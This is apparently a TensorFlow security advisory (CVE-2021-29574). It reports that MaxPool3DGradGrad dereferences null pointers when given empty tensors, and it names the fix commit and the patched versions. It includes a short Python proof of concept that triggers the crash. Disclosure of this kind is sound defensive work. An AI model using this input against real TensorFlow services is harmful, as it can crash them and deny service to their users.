Undefined behavior in `MaxPool3DGradGrad`

Low **mihaimaruseac** published **GHSA-828x-qc2p-wprq** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:

```
import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPool3DGradGrad(
    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
    strides=strides, padding=padding)
```

The implementation fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.

Patches

We have patched the issue in GitHub commit a3d9f9be9ac2296615644061b40cefcee341dcc4.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29574

Weaknesses

No CWEs